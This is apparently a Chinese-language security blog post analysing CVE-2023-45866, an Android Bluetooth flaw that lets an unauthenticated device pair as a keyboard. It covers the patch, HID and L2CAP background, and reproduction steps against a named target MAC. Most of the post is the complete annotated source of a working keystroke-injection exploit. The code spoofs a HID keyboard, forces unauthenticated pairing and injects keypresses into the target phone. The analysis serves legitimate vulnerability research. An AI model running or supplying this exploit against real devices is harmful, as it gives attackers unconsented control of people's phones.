CVE-2023-45866蓝牙零点击漏洞
2024-07-30 18:56:57

CVE-2023-45866蓝牙零点击漏洞

漏洞信息

漏洞简介

image-20240729133552570

影响版本

1_fltW2Ajc3i0k46SF8b5iig

修复 && 漏洞定位

修复公告:

https://source.android.com/docs/security/bulletin/2023-12-01?hl=zh-cn#2023-12-05-security-patch-level-vulnerability-details

image-20240730163527908

https://android.googlesource.com/platform/packages/modules/Bluetooth/+/25a7d9aaceea0f7d6cb4ae3da5aa66efb0bc7db8

https://android.googlesource.com/platform/packages/modules/Bluetooth/+/25a7d9aaceea0f7d6cb4ae3da5aa66efb0bc7db8%5E%21/

image-20240730151720188

access_secure_service_from_temp_bond:实用函数,用于测试是否正在从临时绑定访问安全服务;

return:满足条件返回true,否则返回false;

参数:

const tBTM_SEC_DEV_REC* p_dev_rec //指向设备记录的指针,tBTM_SEC_DEV_REC是一个包含设备安全信息的结构体
bool locally_initiated //表示访问请求是否由本地设备发起
uint16_t security_req //表示所需安全等级,是一个位掩码,包含多个安全要求

检查条件:

!locally_initiated //检查请求是否不是由本地设备发起,若是远程设备发起,则继续
(security_req & BTM_SEC_IN_AUTHENTICATE) //检查所需的安全级别是否包含认证
p_dev_rec->is_device_authenticated() //检查设备是否已经通过认证
p_dev_rec->is_bond_type_temporary() //检查设备的绑定类型是否为临时绑定

image-20240730151932776

==》

第一部分验证于btm_sec_l2cap_access_req_by_requirement函数中添加:

image-20240730165842232

image-20240730165819789

第二部分验证于btm_sec_execute_procedure函数中添加:

image-20240730170027688

image-20240730165930392

==》Android中路径:

/system/lib64/libbluetooth.so

==》反编译定位:

image-20240730170257662

相关知识

https://github.com/skysafe/reblog/tree/main/cve-2024-0230

HID

Human Interface Device人体学接口设备,是常见的输入设备,比如键盘鼠标手柄等;早期的HID设备大多通过USB接口实现,蓝牙技术出现后,通过蓝牙作为传输层,实现了无线HID设备。

蓝牙HID 是属于蓝牙协议里面的一个profile, 不管在蓝牙2.0 2.1 3.0还是4.0,5.0的蓝牙中 ,都有HID , 而且在4.0以上协议中还多了一个HOG (HID OVER GATT)也就是低功耗HID,涉及的是蓝牙4.0以上的BLE(Bluetooth Low Energy)技术。

HID通过发送和接收报告消息进行通信,HID报告与传输方式无关,可以通过USB和蓝牙实现

  • 输入报告包括按键和鼠标的移动/点击
  • 输出报告包括命令和状态变化
  • 功能报告用于主机读取和写入设备设置

HID运行在蓝牙的L2CAP协议上,使用L2CAP套接字进行通信,并基于GAP规范

  • L2CAP端口17是HID的控制通道(功能报告,高延迟)
  • L2CAP端口19是HID的中断通道(输入和输出报告,低延迟)

==》一般来说,当两个L2CAP端口都连接时,蓝牙HID连接就会被认为已经建立==》如果你能连接到主机的L2CAP 17和19端口,你就可以注入按键;

===》使HID设备连接到L2CAP 17和19端口,它需要与主机进行配对

  • 链接密钥,用于加密两个蓝牙设备之间发送的数据
  • 配对,建立链接密钥
  • 绑定,将链接密钥保存到设备
  • 带外配对,通过非蓝牙通道(NFC和USB)执行配对和绑定

键盘发起配对攻击流程

由键盘发起配对申请

若键盘声明它不支持身份验证,我们将期望主机拒绝配对尝试

若主机接受了一个未经身份验证的配对请求,攻击者可能可以实现在未经用户同意的情况下配对键盘

==》再连接至L2CAP 17和19注入按键即可完成利用

关键概念

HID Profile:

HID (Human Interface Device) Profile: 这是蓝牙技术中定义的一组协议,允许无线输入设备(如键盘和鼠标)与主机设备(如计算机或手机)进行通信。HID Profile包括两个主要角色:HID设备(HID Device)和HID主机(HID Host)。

  • ​ HID设备(HID Device):负责发送输入数据(如按键事件、鼠标移动等)。
  • ​ HID主机(HID Host):接收输入数据并进行相应的处理。

HID协议:

HID协议是一种数据传输协议,定义了如何在HID设备和HID主机之间传输数据。它支持两种主要的数据传输模式:

  • ​ 报告模式(Report Mode):HID设备通过报告发送数据包,包含一个或多个输入事件。
  • ​ 流模式(Stream Mode):HID设备通过流式传输方式发送数据。

HID描述符:

HID描述符是HID设备向HID主机提供的一个数据结构,描述了设备的特性和支持的输入报告格式。描述符通常包含设备的制造商信息、设备类型、输入报告格式等。

复现 && Exp

https://github.com/marcnewlin/hi_my_name_is_keyboard
https://github.com/pentestfunctions/BlueDucky/tree/main
https://github.com/Eason-zz/BluetoothDucky

目标设备相关信息获取,系统版本:Android 10

#通过bluetoothctl扫描获取目标蓝牙地址
#启动程序
bluetoothctl
#查看本机蓝牙适配器状态
show
#启用扫描
scan on

image-20240730114726524

MAC: A4:50:46:8E:0E:72

==》攻击:

# https://github.com/marcnewlin/hi_my_name_is_keyboard
python3 keystroke-injection-android-linux.py -i hci0 -t A4:50:46:8E:0E:72

==》效果:

image-20240730134324402

keystroke-injection-android-linux.py

#!/usr/bin/env python3

import argparse
import re
import time
from multiprocessing import Process

from injector.helpers import assert_address, log, run #一些检查,日志,执行命令
from injector.client import KeyboardClient #连接目标
from injector.adapter import Adapter #本机适配器
from injector.agent import PairingAgent
from injector.hid import Key, Mod
from injector.profile import register_hid_profile

# parse command line arguments
#解析命令行参数
parser = argparse.ArgumentParser("keystroke-injection-android-linux.py")
parser.add_argument("-i", "--interface", required=True) #蓝牙适配器
parser.add_argument("-t", "--target_address", required=True) #目标蓝牙MAC
args = parser.parse_args()

# do a basic sanity check of the provided arguments
#对参数合法性检查
assert_address(args.target_address)
assert(re.match(r"^hci\d+$", args.interface))

# restart the local Bluetooth daemon
#重启bluetooth
run(["sudo", "service", "bluetooth", "restart"])
time.sleep(0.5)

# register a generic HID SDP profile
#注册通用HID SDP配置文件
profile_proc = Process(target=register_hid_profile, args=(args.interface, args.target_address))
profile_proc.start()

# setup the adapter
# - configure name and class
#配置蓝牙适配器
log.status("configuring Bluetooth adapter")
adapter = Adapter(args.interface)
adapter.set_name("Hi, My Name is Keyboard") #设置蓝牙适配器名称
adapter.set_class(0x002540) #设置为HID设备
run(["hcitool", "name", args.target_address])
#连接目标设备
client = KeyboardClient(args.target_address, auto_ack=True)

# connect to Service Discovery Protocol on the target (L2CAP port 1)
#连接到目标设备上的服务发现协议 L2CAP port 1
log.status("connecting to SDP")
while not client.connect_sdp():
  log.debug("connecting to SDP")
adapter.enable_ssp()
log.success("connected to SDP (L2CAP 1) on target")#成功连接log

# run a NoInputNoOutput pairing agent
# - this tells the host that we don't support authenticationn
#运行NoInputNoOutput配对代理
#告诉目标主机我们不支持身份验证
with PairingAgent(adapter.iface, args.target_address):

  # attempt to connect to HID Control and HID Interrupt on the target
  #尝试连接到目标上的HID控制和HID中断
  client.connect_hid_interrupt()
  client.connect_hid_control()

  # wait up to 1 second for one of the services to disconnect
  #等待1秒,直到其中一个服务断开连接
  start = time.time()
  while (time.time() - start) < 1:
    #17或19其中一个断开
    if client.c17.connected == False or client.c19.connected == False:
      break
    time.sleep(0.001)

  # connect to HID Interrupt on the Mac (L2CAP port 19)
  #连接到HID中断19
  if client.c19.connected == False: 
    log.status("connecting to HID Interrupt")
    while not client.connect_hid_interrupt():
      log.debug("connecting to HID Interrupt")
      time.sleep(0.001)
  log.success("connected to HID Interrupt (L2CAP 19) on target") #成功连接到HID中断

  # connect to HID Control on the Mac (L2CAP port 17)
  #连接到HID控制17
  if client.c17.connected == False:
    log.status("connecting to HID Control")
    while not client.connect_hid_control():
      log.debug("connecting to HID Control")
      time.sleep(0.001)
  log.success("connected to HID Control (L2CAP 17) on target") #成功连接到HID控制

# send an empty keyboard report
#发送一个空的键盘报告
client.send_keyboard_report()

# send 10 seconds of 'tab' keypresses
#发送10秒钟的Tab
log.status("injecting Tab keypresses for 10 seconds")
start = time.time()
while (time.time() - start) < 10:
  try:
    client.send_keypress(Key.Tab)
    time.sleep(0.05)
  except KeyboardInterrupt:
    break
#发送closure
try:
    client.send_keypress(Key.C)
    client.send_keypress(Key.L)
    client.send_keypress(Key.O)
    client.send_keypress(Key.S)
    client.send_keypress(Key.U)
    client.send_keypress(Key.R)
    client.send_keypress(Key.E)
    time.sleep(0.05)
except KeyboardInterrupt:
    log.status("发送键码错误")
    
# disconnect the L2CAP sockets
#后续想在目标设备中查看相关蓝牙信息,可先将下方代码注释即可保留蓝牙连接信息
#断开L2CAP套接字连接
log.success("payload has been transmitted; disconnecting Bluetooth HID client")
client.close()

# take the adapter offline
#将本机蓝牙适配器关闭,
log.status("taking '%s' offline" % args.interface)
adapter.down()
profile_proc.terminate()

helpers.py

import logging
import re
import subprocess
import sys

#配置日志记录
logging.basicConfig(
  level=logging.DEBUG,
  format='[%(asctime)s.%(msecs)03d] %(message)s',
  datefmt="%Y-%m-%d %H:%M:%S"
)

#自定义日志类
class Log:
  def status(self, msg):
    logging.info("\033[0;96m%s\033[0m" % msg)
  def success(self, msg):
    logging.info("\033[0;92m%s\033[0m" % msg)
  def error(self, msg):
    logging.error("\033[0m%s\033[0m" % msg)
  def debug(self, msg):
    logging.debug("\033[0m%s\033[0m" % msg)
  def notice(self, msg):
    logging.info("\033[0;93m%s\033[0m" % msg)
  def info(self, msg):
    logging.info(msg)
    
log = Log()

#运行命令
def run(command):
  assert(isinstance(command, list))
  #log正在执行的命令
  log.debug("executing '%s'" % " ".join(command))
  #运行命令并返回输出,错误输出将被捕获,不会抛出异常
  return subprocess.check_output(command, stderr=subprocess.PIPE)

#检查目标蓝牙MAC是否合法
def assert_address(addr):
  if not re.match(r"^([a-fA-F0-9]{2}:{0,1}){5}[a-fA-F0-9]{2}$", addr):
    log.error("Error! This not look like a Bluetooth address: '%s'" % addr)
    sys.exit(1)

client.py

import binascii
import bluetooth
import time
from threading import Thread
from injector.hid import keyboard_report, ascii_to_hid
from .helpers import log

#通过L2CAPC连接与设备进行通信
class L2CAPClient:
  def __init__(self, addr, port):
    self.addr = addr #蓝牙设备地址
    self.port = port #端口
    self.connected = False #连接状态
    self.sock = None #套接字对象

  #关闭连接
  def close(self):
    if self.connected:
      self.sock.close()
    self.connected = False
    self.sock = None

  #发送数据
  def send(self, data):
    timeout = 0.1
    start = time.time()
    while (time.time() - start) < timeout:
      try:
        self.sock.send(data)
        #log发送的数据
        log.debug("[TX-%d] %s" % (self.port, binascii.hexlify(data).decode()))
        return
      except bluetooth.btcommon.BluetoothError as ex:
        if ex.errno != 11: # no data available 没有数据可以发送
          raise ex
        time.sleep(0.001)
      except Exception as ex:
        log.error("[TX-%d] ERROR! %s" % ex)
        self.connected = False
    log.error("[TX-%d] ERROR! timed out sending %s" % (self.port, binascii.hexlify(data).decode()))

  #接收数据
  def recv(self, timeout=0):
    start = time.time()
    while True:
      raw = None
      if not self.connected:
        return None
      if self.sock is None:
        return None
      try:
        raw = self.sock.recv(64)
        if len(raw) == 0:
          self.connected = False
          return None
        log.debug("[RX-%d] %s" % (self.port, binascii.hexlify(raw).decode()))
      except bluetooth.btcommon.BluetoothError as ex:
        if ex.errno != 11: # no data available
          raise ex
        else:
          if (time.time() - start) < timeout:
            continue
      return raw

  #连接
  def connect(self, timeout=None):
    #log addr port
    log.debug("connecting to %s on port %d" % (self.addr, self.port))
    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) #创建L2CAP套接字
    sock.settimeout(timeout) #超时时间
    try:
      sock.connect((self.addr, self.port)) #连接到设备
      sock.setblocking(0) #设置非阻塞模式
      self.sock = sock
      self.connected = True #设置连接状态
      log.debug("SUCCESS! connected on port %d" % self.port)
    except Exception as ex:
      self.connected = False
      log.error("ERROR connecting on port %d: %s" % (self.port, ex))
    return self.connected

#用于与蓝牙设备进行HID通信
class KeyboardClient:
  def __init__(self, host_addr, auto_ack=False):
    self.host_addr = host_addr #目标蓝牙
    self.auto_ack = auto_ack #自动确认标志
    self.c1 = L2CAPClient(host_addr, 1) #SDP连接
    self.c17 = L2CAPClient(host_addr, 17) #HID控制连接
    self.c19 = L2CAPClient(host_addr, 19) #HID中断连接
    self.thread = Thread(target=self.loop) #线程处理接收数据
    self.exit = False #退出标志
    self.hid_ready = False #HID准备标志
    self.thread.start() #启动线程

  #连接到SDP服务
  def connect_sdp(self, timeout=5):
    self.c1.connect(timeout=timeout)
    return self.c1.connected
  #连接到HID控制服务
  def connect_hid_control(self, timeout=2):
    self.c17.connect(timeout=timeout)
    return self.c17.connected
  #连接到HID中断服务
  def connect_hid_interrupt(self, timeout=2):
    self.c19.connect(timeout=timeout)
    return self.c19.connected

  #关闭所有连接并停止线程
  def close(self):
    self.exit = True
    self.thread.join()
  #连接到指定端口
  def connect(self, port, timeout=None):
    log.debug("connecting to %s on port %d" % (self.host_addr, port))
    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    sock.settimeout(timeout)
    try:
      sock.connect((self.host_addr, port))
      log.debug("SUCCESS! connected on port %d" % port)
    except Exception as ex:
      log.error("ERROR connecting on port %d: %s" % (port, ex))
      return None
    sock.setblocking(0)
    sock.port = port
    return sock

  #发送键盘报告
  def send_keyboard_report(self, *args):
    self.c19.send(keyboard_report(*args))
  #发送按键
  def send_keypress(self, *args, delay=0.004):
    self.send_keyboard_report(*args)
    time.sleep(0.004)
    self.send_keyboard_report()
    time.sleep(0.004)
  #发送ASCII字符串
  def send_ascii(self, s):
    for c in s:
      self.send_keypress(*ascii_to_hid(c))
  #线程循环,用于处理接收的数据
  def loop(self):
    while not self.exit:
      time.sleep(0.001)
      #接收SDP数据
      raw = self.c1.recv()
      #接收HID中断数据
      raw = self.c19.recv()
      if raw in [b"\xa2\xf1\x01\x00", b"\xa2\x01\x01"]:
        self.hid_ready = True
      #接收HID控制数据
      raw = self.c17.recv()
      if raw is not None:
        if raw == b"\x15":
          self.c17.close()
        elif self.auto_ack:
          self.c17.send(b"\x00")
    #关闭所有连接
    self.c1.close()
    self.c17.close()
    self.c19.close()

adapter.py

import subprocess
import sys
from pydbus import SystemBus
from .helpers import log

#运行命令
def run(command):
  assert(isinstance(command, list)) #命令列表
  log.debug("executing '%s'" % " ".join(command)) #log 命令
  #执行命令并返回输出
  return subprocess.check_output(command, stderr=subprocess.PIPE)

#适配器类,管理蓝牙适配器
class Adapter:
  def __init__(self, iface):
    self.iface = iface #适配器接口名称
    self.bus = SystemBus() #获取D-Bus系统总线
    try:
      self.adapter = self.bus.get("org.bluez", "/org/bluez/%s" % iface) #获取适配器对象
    except KeyError:
      log.error("Unable to find adapter '%s', aborting." % iface) #找不到适配器
      sys.exit(1)
    self.reset()
  #启用简单安全配对SSP
  def enable_ssp(self):
    #设置IO能力为DisplayYesNo
    run(["sudo", "btmgmt", "--index", self.iface, "io-cap", "1"])
    #启用SSP
    run(["sudo", "btmgmt", "--index", self.iface, "ssp", "1"])
  #禁用简单安全配对SSP
  def disable_ssp(self):
    run(["sudo", "btmgmt", "--index", self.iface, "ssp", "0"])
  #设置适配器名称
  def set_name(self, name):
    if self.adapter.Name != name:
      run(["sudo", "hciconfig", self.iface, "name", name]) #设置适配器名称
      #检查适配器名称是否成功设置
      if name not in run(["hciconfig", self.iface, "name"]).decode(): 
        log.error("Unable to set adapter name, aborting.")
        sys.exit(1)
  #设置设配器 类别 Class
  def set_class(self, adapter_class):
    class_hex = "0x%06x" % adapter_class #转十六进制字符串
    if self.adapter.Class != class_hex:
      #设置适配器类别
      run(["sudo", "hciconfig", self.iface, "class", class_hex])
      #检查是否设置成功
      if class_hex not in run(["hciconfig", self.iface, "class"]).decode():
        log.error("Unable to set adapter class, aborting.")
        sys.exit(1)
  #设置适配器地址
  def set_address(self, address):
    run(["sudo", "bdaddr", "-i", self.iface, address])
    self.reset() #重置适配器
    #检查地址是否设置成功
    if address.upper() not in run(["hciconfig", self.iface]).decode():
      log.error("Unable to set adapter address, aborting.")
      sys.exit(1)
  #关闭适配器
  def down(self):
    self.adapter.Powered = False #设置适配器电源状态
  #启动适配器
  def up(self):
    self.adapter.Powered = True #设置适配器电源状态
  #重启适配器
  def reset(self):
    self.down()
    self.up()

agent.py

import dbus
import dbus.service
import dbus.mainloop.glib
import time
from gi.repository import GLib
from multiprocessing import Process
from .helpers import log

#继承dbus.service.Object
class Agent(dbus.service.Object):
  #定义D-Bus方法Cancel,用于取消配对
  @dbus.service.method("org.bluez.Agent1", in_signature="", out_signature="")
  def Cancel(self):
    log.debug("Agent.Cancel")
#运行D-Bus事件循环
def agent_loop(target_path):
  #设置Glib主循环为D-Bus默认主循环
  dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
  loop = GLib.MainLoop() #创建GLib主循环
  bus = dbus.SystemBus() #获取系统D-Bus
  path = "/test/agent" #定义代理路径
  agent = Agent(bus, path) #设置创建代理对象
  agent.target_path = target_path #设置目标路径
  obj = bus.get_object("org.bluez", "/org/bluez") #获取org.bluez对象
  manager = dbus.Interface(obj, "org.bluez.AgentManager1")#获取AgentManager1接口
  manager.RegisterAgent(path, "NoInputNoOutput")#注册代理,使用NoInputNoOutput模式
  manager.RequestDefaultAgent(path) #请求将代理设置为默认代理
  log.debug("'NoInputNoOutput' pairing-agent is running") #记录代理正在运行的日志
  loop.run() #运行GLib主循环

#管理配对代理
class PairingAgent:
  def __init__(self, iface, target_addr):
    self.iface = iface #适配器接口名称
    self.target_addr = target_addr #目标设备地址
    #将目标设备地址格式化为适合 D-Bus 的路径
    dev_name = "dev_%s" % target_addr.upper().replace(":", "_")
    self.target_path = "/org/bluez/%s/%s" % (iface, dev_name) #生成目标路径
  #进入上下文管理器时启动代理进程
  def __enter__(self):
    #创建代理进程
    self.agent = Process(target=agent_loop, args=(self.target_path,))
    self.agent.start() #启动代理进程
    time.sleep(0.25) #等待代理进程启动
  #退出上下文管理器时终止代理进程
  def __exit__(self, a, b, c):
    self.agent.kill() #终止代理进程
    time.sleep(0.25) #等待代理进程终止

hid.py

#将ASCII转换为HID键码
def ascii_to_hid(c):
  if c >= 'a' and c <= 'z':
    return (Key(ord(c)-ord('a')+0x04),)
  elif c >= 'A' and c <= 'Z':
    return (Key(ord(c)-ord('A')+0x04), Key.LeftShift, Mod.LeftShift)
  elif c >= '1' and c <= '9':
    return (Key(ord(c)-ord('1')+0x1e),)
  elif c == '0':
    return (Key._0,)
  elif c == ',':
    return (Key.Comma,)
  elif c == '?':
    return (Key.Slash, Key.LeftShift, Mod.LeftShift)
  elif c == ' ':
    return (Key.Space,)
  elif c == '.':
    return (Key.Dot,)
  elif c == ':':
    return (Key.Semicolon, Key.LeftShift, Mod.LeftShift)
  elif c == '/':
    return (Key.Slash,)
  elif c == '=':
    return (Key.Equal,)
  elif c == '"':
    return (Key.Quote, Key.LeftShift, Mod.LeftShift)
  elif c == '\'':
    return (Key.Quote,)
  elif c == '-':
    return (Key.Minus,)
  elif c == '+':
    return (Key.Equal, Key.LeftShift, Mod.LeftShift)
  elif c in ['\r', '\n']:
    return (Key.Enter,)
  else:
    log.error("UNKNOWN '%s'" % c)

#生成HID键盘报告
def keyboard_report(*args):
  keycodes = [] #存储键码
  flags = 0 #存储修饰键标志位
  for a in args: 
    if isinstance(a, Key):
      keycodes.append(a.value) #如果是键码,添加到列表
    elif isinstance(a, Mod):
      flags |= a.value #如果时修饰键,设置对应的标志位
  assert(len(keycodes) <= 7) #键盘报告最多支持7个键码
  keycodes += [0] * (7 - len(keycodes)) #不足7填充0
  #生成HID键盘报告
  report = bytes([0xa1, 0x01, flags, 0x00] + keycodes)
  return report

profile.py

#!/usr/bin/env python3

import dbus
import dbus.service
import dbus.mainloop.glib
from gi.repository import GLib
from .helpers import log

class Profile(dbus.service.Object):
  #Profile取消方法,当取消操作触发时调用
  @dbus.service.method("org.bluez.Profile1", in_signature="", out_signature="")
  def Cancel(self):
    print("Profile.Cancel")

#注册HID profile,使设备可以最为键盘连接
def register_hid_profile(iface, addr):
  #设置D-Bus主循环
  dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
  bus = dbus.SystemBus()
  #获取D-Bus接口对象
  get_obj = lambda path, iface: dbus.Interface(bus.get_object("org.bluez", path), iface)
  addr_str = addr.replace(":", "_") #构造蓝牙设备路径
  path = "/org/bluez/%s/dev_%s" % (iface, addr_str)
  #获取ProfileManager1接口
  manager = get_obj("/org/bluez", "org.bluez.ProfileManager1")
  #定义profile的D-Bus对象路径
  profile_path = "/test/profile"
  profile = Profile(bus, profile_path)
  #设置HID键盘的UUID
  hid_uuid = "00001124-0000-1000-8000-00805F9B34FB"
  #读取HID服务记录文件
  with open("keyboard.xml", "r") as f:
    opts = { "ServiceRecord": f.read() }
  log.debug("calling RegisterProfile")
  #注册HID profile
  manager.RegisterProfile(profile, hid_uuid, opts)
  #创建Glib主事件循环
  loop = GLib.MainLoop()
  try:
    log.debug("running dbus loop")
    loop.run() #运行主事件循环
  except KeyboardInterrupt:
    log.debug("calling UnregisterProfile")
    manager.UnregisterProfile(profile) #捕获键盘中断并注销profile